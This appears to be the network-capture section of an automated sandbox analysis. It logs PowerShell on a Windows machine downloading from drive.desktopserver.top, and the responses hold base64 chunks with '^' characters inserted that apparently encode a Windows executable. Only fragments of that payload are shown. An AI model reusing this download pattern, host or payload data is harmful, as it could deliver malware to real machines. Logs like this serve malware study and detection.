2024-09-30 16:58:35 UTC	177	OUT	GET /file/res/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
2024-09-30 16:58:36 UTC	622	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KxI2D0h7ntbkD7wo%2BNakiRCTr9iPyL3Up9CyQ7gjn9hNxc300odMu0IEiyNhvNEbNz9se0iJarmojsTjAxDATHG1pH8NVKWxjg9SOpzCg2CBx02Vv1dOUXauv8SZWzCyNQLk3f96Rw%2B9ow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c2378b04c3f3-EWR
2024-09-30 16:58:36 UTC	747	IN	Data Raw: 37 64 33 30 0d 0a 54 56 71 51 41 5e 41 4d 41 41 41 5e 41 45 41 41 41 5e 41 2f 2f 38 41 5e 41 4c 67 41 41 5e 41 41 41 41 41 5e 41 41 51 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 67 41 41 41 41 5e 41 34 66 75 67 5e 34 41 74 41 6e 5e 4e 49 62 67 42 5e 54 4d 30 68 56 5e 47 68 70 63 79 5e 42 77 63 6d 39 5e 6e 63 6d 46 74 5e 49 47 4e 68 62 5e 6d 35 76 64 43 5e 42 69 5a 53 42 5e 79 64 57 34 67 5e 61 57 34 67 52 5e 45 39 54 49 47 5e 31 76 5a 47 55 5e 75 44 51 30 4b 5e 4a 41 41 41 41 5e 41 41 41 41 41 5e 42 51 52 51 41 5e 41 54 41 45 44 5e 41 45 6d 6b 38 5e 6d 59 41 41 41 5e 41 41 41 41 41 5e 41 41 4f 41 41 5e 44 69 45 4c 41 5e 54 41 41 Data Ascii: 7d30TVqQA^AMAAA^AEAAA^A//8A^ALgAA^AAAAA^AAQAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^gAAAA^A4fug^4AtAn^NIbgB^TM0hV^Ghpcy^Bwcm9^ncmFt^IGNhb^m5vdC^BiZSB^ydW4g^aW4gR^E9TIG^1vZGU^uDQ0K^JAAAA^AAAAA^BQRQA^ATAED^AEmk8^mYAAA^AAAAA^AAOAA^DiELA^TAA
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 4d 5e 41 41 41 41 41 5e 45 41 49 41 41 5e 41 43 41 41 41 5e 41 37 67 63 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 51 41 41 41 5e 51 67 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 43 41 42 5e 67 67 41 41 41 5e 41 41 41 45 67 5e 41 41 41 41 43 5e 41 41 55 41 6d 5e 45 55 46 41 4e 5e 68 49 41 67 41 5e 42 41 41 41 41 5e 41 41 41 41 41 5e 48 43 4f 42 77 5e 42 6e 64 41 41 5e 41 6a 51 55 49 5e 41 49 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 42 5e 4d 77 41 77 41 5e 46 41 51 41 41 5e 41 51 41 41 45 5e 53 73 46 4b 4f 5e 6a 4e 4a 57 41 5e 67 41 67 41 41 5e 41 50 34 4f 41 5e 41 41 34 41 41 5e Data Ascii: AM^AAAAA^EAIAA^ACAAA^A7gcA^AAAAA^AAAAA^AAAAA^AQAAA^QgAAA^AAAAA^AAAAA^AAAAA^AACAB^ggAAA^AAAEg^AAAAC^AAUAm^EUFAN^hIAgA^BAAAA^AAAAA^HCOBw^BndAA^AjQUI^AIAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAB^MwAwA^FAQAA^AQAAE^SsFKO^jNJWA^gAgAA^AP4OA^AA4AA^
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 5e 42 69 55 6d 67 5e 41 51 41 41 41 5e 51 67 42 67 41 5e 41 41 44 67 7a 5e 2f 2f 2f 2f 49 5e 49 77 41 41 41 5e 41 6f 45 51 41 5e 41 42 69 55 6d 5e 67 41 59 41 41 5e 41 51 67 42 41 5e 41 41 41 44 67 5e 59 2f 2f 2f 2f 5e 66 6d 63 43 41 5e 41 51 6f 42 41 5e 67 41 42 69 55 5e 6d 49 4b 4d 41 5e 41 41 41 6f 45 5e 51 41 41 42 69 5e 55 6d 66 6d 67 5e 43 41 41 51 6f 5e 43 41 67 41 42 5e 69 68 67 41 67 5e 41 47 66 6d 6b 5e 43 41 41 51 6f 5e 44 41 67 41 42 5e 69 55 6d 49 4b 5e 59 41 41 41 41 5e 6f 45 51 41 41 5e 42 69 43 70 41 5e 41 41 41 4b 42 5e 45 41 41 41 59 5e 6c 4a 6e 35 71 5e 41 67 41 45 4b 5e 42 41 49 41 41 5e 61 41 42 77 41 5e 41 42 43 41 41 5e 41 41 41 41 66 5e 67 59 43 41 41 5e 52 37 47 51 49 5e 41 42 44 6d 73 5e 2f 76 2f 2f 4a 5e 69 41 41 41 41 5e 41 Data Ascii: A^BiUmg^AQAAA^QgBgA^AADgz^////I^IwAAA^AoEQA^ABiUm^gAYAA^AQgBA^AAADg^Y////^fmcCA^AQoBA^gABiU^mIKMA^AAAoE^QAABi^Umfmg^CAAQo^CAgAB^ihgAg^AGfmk^CAAQo^DAgAB^iUmIK^YAAAA^oEQAA^BiCpA^AAAKB^EAAAY^lJn5q^AgAEK^BAIAA^aABwA^ABCAA^AAAAf^gYCAA^R7GQI^ABDms^/v//J^iAAAA^A
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 5e 41 46 38 41 41 5e 41 41 46 41 41 5e 41 41 65 67 41 5e 41 41 42 59 41 5e 41 41 41 34 57 5e 67 41 41 41 48 5e 4d 53 41 41 41 5e 4b 45 77 49 67 5e 41 67 41 41 41 5e 44 6a 56 2f 2f 5e 2f 2f 45 51 41 5e 52 41 48 35 76 5e 41 67 41 45 4b 5e 43 51 49 41 41 5e 59 6c 4a 68 45 5e 41 66 6e 41 43 5e 41 41 51 6f 4b 5e 41 67 41 42 69 5e 55 6d 66 6e 45 5e 43 41 41 51 6f 5e 4c 41 67 41 42 5e 68 4d 4a 49 41 5e 45 41 41 41 42 5e 2b 42 67 49 41 5e 42 48 73 65 41 5e 67 41 45 4f 5a 5e 66 2f 2f 2f 38 5e 6d 49 41 45 41 5e 41 41 41 34 6a 5e 50 2f 2f 2f 78 5e 45 41 66 67 73 5e 41 41 41 52 2b 5e 62 67 49 41 42 5e 43 67 67 43 41 5e 41 47 49 41 4d 5e 41 41 41 41 34 5e 63 66 2f 2f 2f 5e 77 41 52 41 68 5e 45 4a 46 69 69 5e 66 41 51 41 47 5e 63 78 4d 41 41 5e 41 6f 54 43 69 5e 41 43 Data Ascii: ^AF8AA^AAFAA^AAegA^AABYA^AAA4W^gAAAH^MSAAA^KEwIg^AgAAA^DjV//^//EQA^RAH5v^AgAEK^CQIAA^YlJhE^AfnAC^AAQoK^AgABi^UmfnE^CAAQo^LAgAB^hMJIA^EAAAB^+BgIA^BHseA^gAEOZ^f///8^mIAEA^AAA4j^P///x^EAfgs^AAAR+^bgIAB^CggCA^AGIAM^AAAA4^cf///^wARAh^EJFii^fAQAG^cxMAA^AoTCi^AC
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 41 41 41 4a 5e 69 41 41 41 41 5e 41 41 4f 41 51 5e 41 41 41 44 2b 5e 44 41 34 41 52 5e 51 4d 41 41 41 5e 41 46 41 41 41 5e 41 47 77 41 41 5e 41 45 51 41 41 5e 41 41 34 41 41 5e 41 41 41 42 45 5e 41 66 6e 4d 43 5e 41 41 51 6f 4e 5e 41 67 41 42 69 5e 41 43 41 41 41 5e 41 4f 4e 54 2f 5e 2f 2f 38 62 52 5e 51 45 41 41 41 5e 44 32 2f 2f 2f 5e 2f 49 41 41 41 5e 41 41 42 2b 42 5e 67 49 41 42 48 5e 73 53 41 67 41 5e 45 4f 62 62 2f 5e 2f 2f 38 6d 49 5e 41 41 41 41 41 5e 41 34 71 2f 2f 5e 2f 2f 39 77 67 5e 41 41 41 41 41 5e 48 34 47 41 67 5e 41 45 65 79 67 5e 43 41 41 51 35 5e 32 2f 76 2f 2f 5e 79 59 67 41 41 5e 41 41 41 44 6a 5e 51 2b 2f 2f 2f 5e 63 78 55 41 41 5e 41 6f 54 41 43 5e 41 42 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 4a 5e 67 49 41 42 44 5e 71 31 2b Data Ascii: AAAAJ^iAAAA^AAOAQ^AAAD+^DA4AR^QMAAA^AFAAA^AGwAA^AEQAA^AA4AA^AAABE^AfnMC^AAQoN^AgABi^ACAAA^AONT/^//8bR^QEAAA^D2///^/IAAA^AAB+B^gIABH^sSAgA^EObb/^//8mI^AAAAA^A4q//^//9wg^AAAAA^H4GAg^AEeyg^CAAQ5^2/v//^yYgAA^AAADj^Q+///^cxUAA^AoTAC^ABAAA^AfgYC^AAR7J^gIABD^q1+
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 2f 2f 2f 4a 5e 69 41 42 41 41 5e 41 41 4f 4b 33 5e 2f 2f 2f 38 63 5e 52 51 45 41 41 5e 41 44 32 2f 2f 5e 2f 2f 49 41 45 5e 41 41 41 42 2b 5e 42 67 49 41 42 5e 48 76 7a 41 51 5e 41 45 4f 59 2f 5e 2f 2f 2f 38 6d 5e 49 41 51 41 41 5e 41 41 34 68 50 5e 2f 2f 2f 78 45 5e 49 66 6e 4d 43 5e 41 41 51 6f 4e 5e 41 67 41 42 69 5e 41 44 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 43 5e 41 49 41 42 44 5e 70 6b 2f 2f 2f 5e 2f 4a 69 41 43 5e 41 41 41 41 4f 5e 46 6e 2f 2f 2f 5e 2f 63 45 51 4d 5e 36 53 41 41 41 5e 41 43 41 43 41 5e 41 41 41 4f 41 5e 51 41 41 41 44 5e 2b 44 41 6f 41 5e 52 51 4d 41 41 5e 41 41 70 41 41 5e 41 41 56 41 41 5e 41 41 41 55 41 5e 41 41 41 34 4a 5e 41 41 41 41 44 5e 68 4b 41 41 41 5e 41 49 41 41 41 5e 41 41 42 2b 42 5e 67 49 41 42 48 5e 76 2f 41 51 Data Ascii: ///J^iABAA^AAOK3^///8c^RQEAA^AD2//^//IAE^AAAB+^BgIAB^HvzAQ^AEOY/^///8m^IAQAA^AA4hP^///xE^IfnMC^AAQoN^AgABi^ADAAA^AfgYC^AAR7C^AIABD^pk///^/JiAC^AAAAO^Fn///^/cEQM^6SAAA^ACACA^AAAOA^QAAAD^+DAoA^RQMAA^AApAA^AAVAA^AAAUA^AAA4J^AAAAD^hKAAA^AIAAA^AAB+B^gIABH^v/AQ
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 41 41 5e 69 67 59 41 41 5e 41 4b 49 41 41 5e 41 41 41 42 2b 5e 42 67 49 41 42 5e 48 74 45 41 67 5e 41 45 4f 52 51 5e 41 41 41 41 6d 5e 49 41 41 41 41 5e 41 41 34 43 51 5e 41 41 41 44 6a 5e 43 2f 2f 2f 2f 5e 2f 67 77 41 41 5e 45 55 43 41 41 5e 41 41 42 51 41 5e 41 41 43 73 41 5e 41 41 41 34 41 5e 41 41 41 41 41 5e 49 44 66 51 30 5e 41 41 41 51 67 5e 41 51 41 41 41 5e 48 34 47 41 67 5e 41 45 65 78 77 5e 43 41 41 51 35 5e 30 2f 2f 2f 2f 5e 79 59 67 41 51 5e 41 41 41 44 6a 5e 49 2f 2f 2f 2f 5e 4b 67 41 41 4f 5e 69 73 46 4b 47 5e 47 58 56 30 63 5e 43 65 77 30 41 5e 41 41 51 71 41 5e 44 59 72 42 53 5e 68 77 2f 32 46 5e 50 4b 43 63 41 5e 41 41 59 71 41 5e 41 41 36 4b 77 5e 55 6f 6e 51 39 5e 5a 53 51 41 6f 5e 70 41 4d 41 42 5e 69 6f 41 51 69 5e 73 46 4b 48 51 Data Ascii: AAA^igYAA^AKIAA^AAAB+^BgIAB^HtEAg^AEORQ^AAAAm^IAAAA^AA4CQ^AAADj^C////^/gwAA^EUCAA^AABQA^AACsA^AAA4A^AAAAA^IDfQ0^AAAQg^AQAAA^H4GAg^AEexw^CAAQ5^0////^yYgAQ^AAADj^I////^KgAAO^isFKG^GXV0c^Cew0A^AAQqA^DYrBS^hw/2F^PKCcA^AAYqA^AA6Kw^UonQ9^ZSQAo^pAMAB^ioAQi^sFKHQ
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 4f 5e 48 37 2f 2f 2f 5e 38 52 41 43 67 5e 77 41 41 41 47 5e 4a 53 59 54 41 5e 53 41 46 41 41 5e 41 41 66 67 59 5e 43 41 41 52 37 5e 4b 51 49 41 42 5e 44 70 66 2f 2f 5e 2f 2f 4a 69 41 5e 46 41 41 41 41 5e 4f 46 54 2f 2f 5e 2f 38 62 52 51 5e 45 41 41 41 44 5e 32 2f 2f 2f 2f 5e 49 41 41 41 41 5e 41 42 2b 42 67 5e 49 41 42 48 74 5e 67 41 67 41 45 5e 4f 54 62 2f 2f 5e 2f 38 6d 49 41 5e 41 41 41 41 41 5e 34 4b 2f 2f 2f 5e 2f 78 45 41 45 5e 51 46 2b 67 41 5e 49 41 42 43 68 5e 6f 43 41 41 47 5e 4a 53 59 54 42 5e 43 41 43 41 41 5e 41 41 2f 67 34 5e 43 41 44 67 48 5e 2f 2f 2f 2f 30 5e 43 73 41 41 41 5e 59 6d 49 41 59 5e 41 41 41 41 34 5e 2b 2f 37 2f 2f 5e 7a 6a 4c 2f 2f 5e 2f 2f 49 41 41 5e 41 41 41 42 2b 5e 42 67 49 41 42 5e 48 74 6c 41 67 5e 41 45 4f 75 4c 5e Data Ascii: AO^H7///^8RACg^wAAAG^JSYTA^SAFAA^AAfgY^CAAR7^KQIAB^Dpf//^//JiA^FAAAA^OFT//^/8bRQ^EAAAD^2////^IAAAA^AB+Bg^IABHt^gAgAE^OTb//^/8mIA^AAAAA^4K///^/xEAE^QF+gA^IABCh^oCAAG^JSYTB^CACAA^AA/g4^CADgH^////0^CsAAA^YmIAY^AAAA4^+/7//^zjL//^//IAA^AAAB+^BgIAB^HtlAg^AEOuL^
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 5e 41 41 47 4a 53 5e 59 36 58 41 45 5e 41 41 43 41 41 5e 41 41 41 41 66 5e 67 59 43 41 41 5e 52 37 44 51 49 5e 41 42 44 6c 53 5e 2f 2f 2f 2f 4a 5e 69 41 42 41 41 5e 41 41 4f 45 66 5e 2f 2f 2f 38 34 5e 35 51 41 41 41 5e 43 41 41 41 41 5e 41 41 66 67 59 5e 43 41 41 52 37 5e 43 67 49 41 42 5e 44 6b 75 2f 2f 5e 2f 2f 4a 69 41 5e 41 41 41 41 41 5e 4f 43 50 2f 2f 5e 2f 2f 64 65 50 5e 2f 2f 2f 79 41 5e 46 41 41 41 41 5e 4f 42 54 2f 2f 5e 2f 38 63 52 51 5e 45 41 41 41 44 5e 32 2f 2f 2f 2f 5e 49 41 51 41 41 5e 41 42 2b 42 67 5e 49 41 42 48 74 5e 66 41 67 41 45 5e 4f 66 62 2b 2f 5e 2f 38 6d 49 41 5e 6f 41 41 41 41 5e 34 36 2f 37 2f 5e 2f 78 45 44 46 5e 31 67 54 41 79 5e 41 4e 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 2b 5e 51 45 41 42 44 5e 6e 52 2f 76 2f 5e 2f Data Ascii: A^AAGJS^Y6XAE^AACAA^AAAAf^gYCAA^R7DQI^ABDlS^////J^iABAA^AAOEf^///84^5QAAA^CAAAA^AAfgY^CAAR7^CgIAB^Dku//^//JiA^AAAAA^OCP//^//deP^///yA^FAAAA^OBT//^/8cRQ^EAAAD^2////^IAQAA^AB+Bg^IABHt^fAgAE^Ofb+/^/8mIA^oAAAA^46/7/^/xEDF^1gTAy^ANAAA^AfgYC^AAR7+^QEABD^nR/v/^/
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 5e 44 72 54 2f 2f 5e 2f 2f 4a 69 41 5e 41 41 41 41 41 5e 4f 4d 6a 2f 2f 5e 2f 38 71 41 41 5e 41 54 4d 41 51 5e 41 36 41 41 41 5e 41 41 67 41 41 5e 42 45 72 42 53 5e 69 42 63 68 51 5e 37 49 41 49 41 5e 41 41 44 2b 44 5e 67 45 41 4f 41 5e 41 41 41 41 44 5e 2b 44 41 45 41 5e 52 51 55 41 41 5e 41 41 46 41 41 5e 41 41 6a 77 41 5e 41 41 45 6b 41 5e 41 41 42 37 41 5e 41 41 41 48 41 5e 41 41 41 44 67 5e 41 41 41 41 41 5e 45 67 41 65 4b 5e 45 4d 41 41 41 5e 5a 39 46 77 41 5e 41 42 43 41 45 5e 41 41 41 41 4f 5e 4d 76 2f 2f 2f 5e 38 53 41 48 77 5e 59 41 41 41 45 5e 45 67 41 6f 41 5e 51 41 41 4b 79 5e 41 44 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 37 5e 51 45 41 42 44 5e 6d 70 2f 2f 2f 5e 2f 4a 69 41 43 5e 41 41 41 41 4f 5e 4a 37 2f 2f 2f 5e 38 53 41 48 36 5e 47 41 Data Ascii: ^DrT//^//JiA^AAAAA^OMj//^/8qAA^ATMAQ^A6AAA^AAgAA^BErBS^iBchQ^7IAIA^AAD+D^gEAOA^AAAAD^+DAEA^RQUAA^AAFAA^AAjwA^AAEkA^AAB7A^AAAHA^AAADg^AAAAA^EgAeK^EMAAA^Z9FwA^ABCAE^AAAAO^Mv///^8SAHw^YAAAE^EgAoA^QAAKy^ADAAA^AfgYC^AAR77^QEABD^mp///^/JiAC^AAAAO^J7///^8SAH6^GA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49759	104.21.92.189	443	9064	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:36 UTC	177	OUT	GET /file/res/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
2024-09-30 16:58:36 UTC	626	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eNc0GEGHP0ArakvJQ4tEADiW4xs5BWlooFQuC2ASyPNBrlEUAPGEe9kyktmbKlFpQ0hQMKM%2FZhRpfTO%2B%2FnRVipXTVsUptoKHtA7JEWp8lsdjTscIBt2pfsw9z3eytove2%2FHma9Tv4tYqsg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c237d8f1de93-EWR
2024-09-30 16:58:36 UTC	743	IN	Data Raw: 38 66 64 0d 0a 54 56 71 51 41 5e 41 4d 41 41 41 5e 41 45 41 41 41 5e 41 2f 2f 38 41 5e 41 4c 67 41 41 5e 41 41 41 41 41 5e 41 41 51 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 67 41 41 41 41 5e 41 34 66 75 67 5e 34 41 74 41 6e 5e 4e 49 62 67 42 5e 54 4d 30 68 56 5e 47 68 70 63 79 5e 42 77 63 6d 39 5e 6e 63 6d 46 74 5e 49 47 4e 68 62 5e 6d 35 76 64 43 5e 42 69 5a 53 42 5e 79 64 57 34 67 5e 61 57 34 67 52 5e 45 39 54 49 47 5e 31 76 5a 47 55 5e 75 44 51 30 4b 5e 4a 41 41 41 41 5e 41 41 41 41 41 5e 42 51 52 51 41 5e 41 54 41 45 44 5e 41 45 6d 6b 38 5e 6d 59 41 41 41 5e 41 41 41 41 41 5e 41 41 4f 41 41 5e 44 69 45 4c 41 5e 54 41 41 41 Data Ascii: 8fdTVqQA^AMAAA^AEAAA^A//8A^ALgAA^AAAAA^AAQAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^gAAAA^A4fug^4AtAn^NIbgB^TM0hV^Ghpcy^Bwcm9^ncmFt^IGNhb^m5vdC^BiZSB^ydW4g^aW4gR^E9TIG^1vZGU^uDQ0K^JAAAA^AAAAA^BQRQA^ATAED^AEmk8^mYAAA^AAAAA^AAOAA^DiELA^TAAA
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 6a 41 41 41 4d 5e 41 41 41 41 41 5e 45 41 49 41 41 5e 41 43 41 41 41 5e 41 37 67 63 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 51 41 41 41 5e 51 67 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 43 41 42 5e 67 67 41 41 41 5e 41 41 41 45 67 5e 41 41 41 41 43 5e 41 41 55 41 6d 5e 45 55 46 41 4e 5e 68 49 41 67 41 5e 42 41 41 41 41 5e 41 41 41 41 41 5e 48 43 4f 42 77 5e 42 6e 64 41 41 5e 41 6a 51 55 49 5e 41 49 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 42 5e 4d 77 41 77 41 5e 46 41 51 41 41 5e 41 51 41 41 45 5e 53 73 46 4b 4f 5e 6a 4e 4a 57 41 5e 67 41 67 41 41 5e 41 50 34 4f 41 5e 41 41 34 Data Ascii: jAAAM^AAAAA^EAIAA^ACAAA^A7gcA^AAAAA^AAAAA^AAAAA^AQAAA^QgAAA^AAAAA^AAAAA^AAAAA^AACAB^ggAAA^AAAEg^AAAAC^AAUAm^EUFAN^hIAgA^BAAAA^AAAAA^HCOBw^BndAA^AjQUI^AIAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAB^MwAwA^FAQAA^AQAAE^SsFKO^jNJWA^gAgAA^AP4OA^AA4
2024-09-30 16:58:36 UTC	196	IN	Data Raw: 71 77 45 41 5e 42 69 55 6d 67 5e 41 51 41 41 41 5e 51 67 42 67 41 5e 41 41 44 67 7a 5e 2f 2f 2f 2f 49 5e 49 77 41 41 41 5e 41 6f 45 51 41 5e 41 42 69 55 6d 5e 67 41 59 41 41 5e 41 51 67 42 41 5e 41 41 41 44 67 5e 59 2f 2f 2f 2f 5e 66 6d 63 43 41 5e 41 51 6f 42 41 5e 67 41 42 69 55 5e 6d 49 4b 4d 41 5e 41 41 41 6f 45 5e 51 41 41 42 69 5e 55 6d 66 6d 67 5e 43 41 41 51 6f 5e 43 41 67 41 42 5e 69 68 67 41 67 5e 41 47 66 6d 6b 5e 43 41 41 51 6f 5e 44 41 67 41 42 5e 69 55 6d 49 4b 5e 59 41 41 41 41 5e 6f 45 51 41 41 5e 42 69 43 70 41 5e 41 41 41 4b 42 5e 45 41 41 41 59 5e 6c 4a 6e 0d 0a Data Ascii: qwEA^BiUmg^AQAAA^QgBgA^AADgz^////I^IwAAA^AoEQA^ABiUm^gAYAA^AQgBA^AAADg^Y////^fmcCA^AQoBA^gABiU^mIKMA^AAAoE^QAABi^Umfmg^CAAQo^CAgAB^ihgAg^AGfmk^CAAQo^DAgAB^iUmIK^YAAAA^oEQAA^BiCpA^AAAKB^EAAAY^lJn
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 37 39 35 38 0d 0a 35 71 5e 41 67 41 45 4b 5e 42 41 49 41 41 5e 61 41 42 77 41 5e 41 42 43 41 41 5e 41 41 41 41 66 5e 67 59 43 41 41 5e 52 37 47 51 49 5e 41 42 44 6d 73 5e 2f 76 2f 2f 4a 5e 69 41 41 41 41 5e 41 41 4f 4b 48 5e 2b 2f 2f 38 36 5e 4b 77 55 6f 4a 5e 4b 34 67 55 51 5e 41 6f 42 77 4d 5e 41 42 69 6f 41 5e 4f 69 73 46 4b 5e 4a 59 6e 65 47 5e 41 41 4b 4b 51 5e 44 41 41 59 71 5e 41 45 49 72 42 5e 53 68 56 50 33 5e 31 45 66 67 67 5e 41 41 41 51 55 5e 2f 67 45 71 41 5e 41 41 41 4e 69 5e 73 46 4b 48 50 5e 41 66 55 70 2b 5e 43 41 41 41 42 5e 43 6f 41 41 44 5e 6f 72 42 53 67 5e 66 7a 6b 31 54 5e 41 43 67 45 41 5e 77 41 47 4b 67 5e 42 4b 4b 77 55 5e 6f 73 58 52 57 5e 51 67 44 2b 43 5e 51 41 41 4b 4b 5e 73 42 41 41 59 5e 71 41 42 4d 77 5e 41 77 42 59 41 5e Data Ascii: 79585q^AgAEK^BAIAA^aABwA^ABCAA^AAAAf^gYCAA^R7GQI^ABDms^/v//J^iAAAA^AAOKH^+//86^KwUoJ^K4gUQ^AoBwM^ABioA^OisFK^JYneG^AAKKQ^DAAYq^AEIrB^ShVP3^1Efgg^AAAQU^/gEqA^AAANi^sFKHP^AfUp+^CAAAB^CoAAD^orBSg^fzk1T^ACgEA^wAGKg^BKKwU^osXRW^QgD+C^QAAKK^sBAAY^qABMw^AwBYA^
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 73 5e 41 41 41 52 2b 5e 62 67 49 41 42 5e 43 67 67 43 41 5e 41 47 49 41 4d 5e 41 41 41 41 34 5e 63 66 2f 2f 2f 5e 77 41 52 41 68 5e 45 4a 46 69 69 5e 66 41 51 41 47 5e 63 78 4d 41 41 5e 41 6f 54 43 69 5e 41 43 41 41 41 5e 41 4f 41 51 41 5e 41 41 44 2b 44 5e 41 63 41 52 51 5e 4d 41 41 41 41 5e 57 41 67 41 41 5e 33 51 45 41 41 5e 41 55 41 41 41 5e 41 34 45 51 49 5e 41 41 41 41 52 5e 43 6e 4d 55 41 5e 41 41 4b 45 77 5e 77 67 41 41 41 5e 41 41 48 34 47 5e 41 67 41 45 65 5e 30 77 43 41 41 5e 51 36 44 77 41 5e 41 41 43 59 67 5e 41 41 41 41 41 5e 44 67 45 41 41 5e 41 41 2f 67 77 5e 42 41 45 55 42 5e 41 41 41 41 42 5e 51 41 41 41 44 5e 67 41 41 41 41 5e 41 41 42 45 4d 5e 41 6e 35 79 41 5e 67 41 45 4b 44 5e 41 49 41 41 59 5e 67 41 41 41 41 5e 41 48 34 47 41 5e 67 Data Ascii: s^AAAR+^bgIAB^CggCA^AGIAM^AAAA4^cf///^wARAh^EJFii^fAQAG^cxMAA^AoTCi^ACAAA^AOAQA^AAD+D^AcARQ^MAAAA^WAgAA^3QEAA^AUAAA^A4EQI^AAAAR^CnMUA^AAKEw^wgAAA^AAH4G^AgAEe^0wCAA^Q6DwA^AACYg^AAAAA^DgEAA^AA/gw^BAEUB^AAAAB^QAAAD^gAAAA^AABEM^An5yA^gAEKD^AIAAY^gAAAA^AH4GA^g
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 5e 43 41 41 51 35 5e 32 2f 76 2f 2f 5e 79 59 67 41 41 5e 41 41 41 44 6a 5e 51 2b 2f 2f 2f 5e 63 78 55 41 41 5e 41 6f 54 41 43 5e 41 42 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 4a 5e 67 49 41 42 44 5e 71 31 2b 2f 2f 5e 2f 4a 69 41 42 5e 41 41 41 41 4f 5e 4b 72 37 2f 2f 5e 38 41 51 57 51 5e 41 41 41 49 41 5e 41 41 42 6f 41 5e 51 41 41 51 77 5e 41 41 41 4b 73 5e 42 41 41 44 53 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 49 41 41 41 41 5e 74 41 51 41 41 5e 55 41 45 41 41 5e 48 30 43 41 41 5e 42 6f 41 41 41 5e 41 41 41 41 41 5e 41 41 49 41 41 5e 41 44 33 41 41 5e 41 41 53 77 49 5e 41 41 45 49 44 5e 41 41 42 6f 41 5e 41 41 41 41 41 5e 41 41 41 41 49 5e 41 41 41 41 7a 5e 41 41 41 41 64 5e 77 4d 41 41 4b 5e 6f 44 41 41 43 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 42 73 Data Ascii: ^CAAQ5^2/v//^yYgAA^AAADj^Q+///^cxUAA^AoTAC^ABAAA^AfgYC^AAR7J^gIABD^q1+//^/JiAB^AAAAO^Kr7//^8AQWQ^AAAIA^AABoA^QAAQw^AAAKs^BAADS^AAAAA^AAAAA^IAAAA^tAQAA^UAEAA^H0CAA^BoAAA^AAAAA^AAIAA^AD3AA^AASwI^AAEID^AABoA^AAAAA^AAAAI^AAAAz^AAAAd^wMAAK^oDAAC^AAAAA^AAAAA^Bs
